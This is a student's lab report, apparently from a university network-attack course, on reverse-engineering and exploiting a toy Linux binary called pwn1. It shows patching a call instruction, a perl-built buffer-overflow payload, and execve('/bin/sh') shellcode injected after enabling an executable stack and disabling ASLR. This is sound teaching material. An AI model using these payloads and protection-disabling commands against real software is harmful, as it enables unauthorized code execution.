Exp1 PC平台逆向破解(5)M

【 直接修改程序机器指令,改变程序执行流程】

  • 用命令cp pwn1 20155320备份pwn1
  • 输入objdump -d 20155320反汇编,找到call指令,现在就是要把call指令里原来foo的地址换成getshell的地址。
    • getshell的地址是:0804847d
    • foo的地址是:08048491

通过计算,getshell和foo的地址相对偏移量为14,所以d7-14=c3,从c3即为所被改为的地址

  • 依次输入以下命令,修改call指令里的内容,因为call为调用所以修改call里面的内容即能修改调用的函数,e8也代表调用。

    • vi 20155320

    1.按ESC键

    2.输入如下,将显示模式切换为16进制模式:%!xxd

    • 3.查找要修改的内容/e8 d7



- 找到后用以下命令完成将e8d7改为e8c3修改即可

```

修改d7为c3

PS:这个必须要做 转换16进制为原格式:%!xxd -r

存盘退出vi:wq

```

【通过构造输入参数,造成BOF攻击,改变程序执行流】

  • 通过反汇编objdump -d pwn1 | more,确定foo和getshell两段函数的地址。

  • 输入1111111122222222333333334444444455555555通过gdb调试,找到eip中的内容是5的ASCII码,eip存储的是下条指令的地址,所以发现是输入的5字段覆盖了eip的地址。

然后进一步输入1111111122222222333333334444444412345678,找到是1234这几个数字会覆盖返回地址。

  • 输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input把这1234四个字符替换为 getShell 的内存地址

【注入Shellcode并执行】

  • 做好实验前的准备,依次输入以下命令
execstack -s pwn1    //设置堆栈可执行

execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1 more /proc/sys/kernel/randomize_va_space
2 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space
0

注:后续将pwn3重命名为p5320了

  • Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode

    • nop+shellcode+retaddr。

通过尝试发现本实验采用的实际是anything+retaddr+nops+shellcode。

  • 输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

  • 接着输入(cat input_shellcode;cat) | ./pwn1注入攻击

  • 再开另外一个终端,用gdb来调试pwn1这个进程,来计算shellcode的地址。

    • 输入ps -ef | grep p5320得到进程号为1807

    • 用gdb调试,需要设断点在地址0x080484ae

    • 调试,找到esp的地址为0xffffd27c,计算得到需要注入的地址为0xffffd27c+0x00000004=0xffffd280

  • 输入命令 perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode修改地址,输入(cat input_shellcode;cat) | ./p5320完成注入攻击,结果如下。

【实验中遇到的问题及解决】

  • 在查找进程号时,我先在开的第一个终端上回车,出现了老师给的图示结果后再开的第二个终端输入查找进程的命令,结果出现如下问题,找不到进程号。

  • 【解决】后来我发现不能等到出现结果后再开,而应该先开第二个终端。

【总结】

缓冲区溢出实验我曾经在娄老师的课上做过一次,但是是按步骤一步一步做的,并没有实际理解,而且还把虚拟机弄崩了...。这次更加理解了实验的原理,主要是通过修改返回地址调用地址之类的原理,将这些地址改为指向想要执行的代码,虽然更深层次的还不太会,基本简单的攻击思路还是理清了。

Exp1 PC平台逆向破解(5)M的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  10. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

随机推荐

  1. 网络基础 HTTP协议之http url简介

    HTTP协议之http url简介 by:授客 QQ:1033553122 http url简介 http url通过http协议,用于定位网络资源,是一种特殊类型的URI(统一资源定位) http_ ...

  2. C语言中数据类型的本质

    数据类型可以理解为固定内存大小的别名.比如int类型,就是表示占用4字节的内存. 1 数据类型的大小 用sizeof操作符获得数据类型的大小. 比如 int a[5];   sizeof(a)就可以得 ...

  3. UWP开发细节记录:判断文件类型

    StorageFile.ContentType 属性,是 string 类型,用来表示文件内容的 MIME 类型.例如,音乐文件可能有 "audio/mpeg" MIME 类型.( ...

  4. 浅尝Java(一)

    主题:数据类型,数值类型变量相互转化 Java是强类型的语言,与JavaScript(松散型)在数据类型上有很大的差异(1.所有变量必须先申明,后使用:2.指定类型的变量只接受与之匹配类型的值).这个 ...

  5. go语言练习:幂、函授接收和返回参数、转义字符、变量和常量

    1.实现a^b次方 package main func main() { r2 := power1(2,4) println(r2) } func power1(a uint64, b uint64) ...

  6. Nginx服务器报 "Too Many Open Files"

    近日服务器上的运行的一个站点经常性出现500错误.查了下服务器负载,负载正常.而后查询了下nginx记录的站点运行错误日志,发现提示Too many open files.因为站点静态文件居多,而且h ...

  7. 使用托管快照创建作为 Azure 托管磁盘存储的 VHD 的副本

    创建快照 创建 OS 或数据磁盘 VHD 的快照,以便将其用作备份或用于排查 VM 问题. 快照是 VHD 的完整只读副本. 使用 Azure 门户创建快照 登录到 Azure 门户. 首先在左上角单 ...

  8. 忘了mysql密码咋么办?

    一.已知mysql数据库root的密码,修改root的方法如下: 1. mysqladmin 命令直接修改: ~]#mysqladmin -u root -p password "newpa ...

  9. IP解析计算机名称

    #-*- coding: UTF-8 -*- import subprocess,sys,threading reload(sys) sys.setdefaultencoding('utf-8') d ...

  10. dns服务器测试工具

    下载地址:https://www.eatm.app/wp-content/uploads/2018/08/eDnsTest.20180810.zip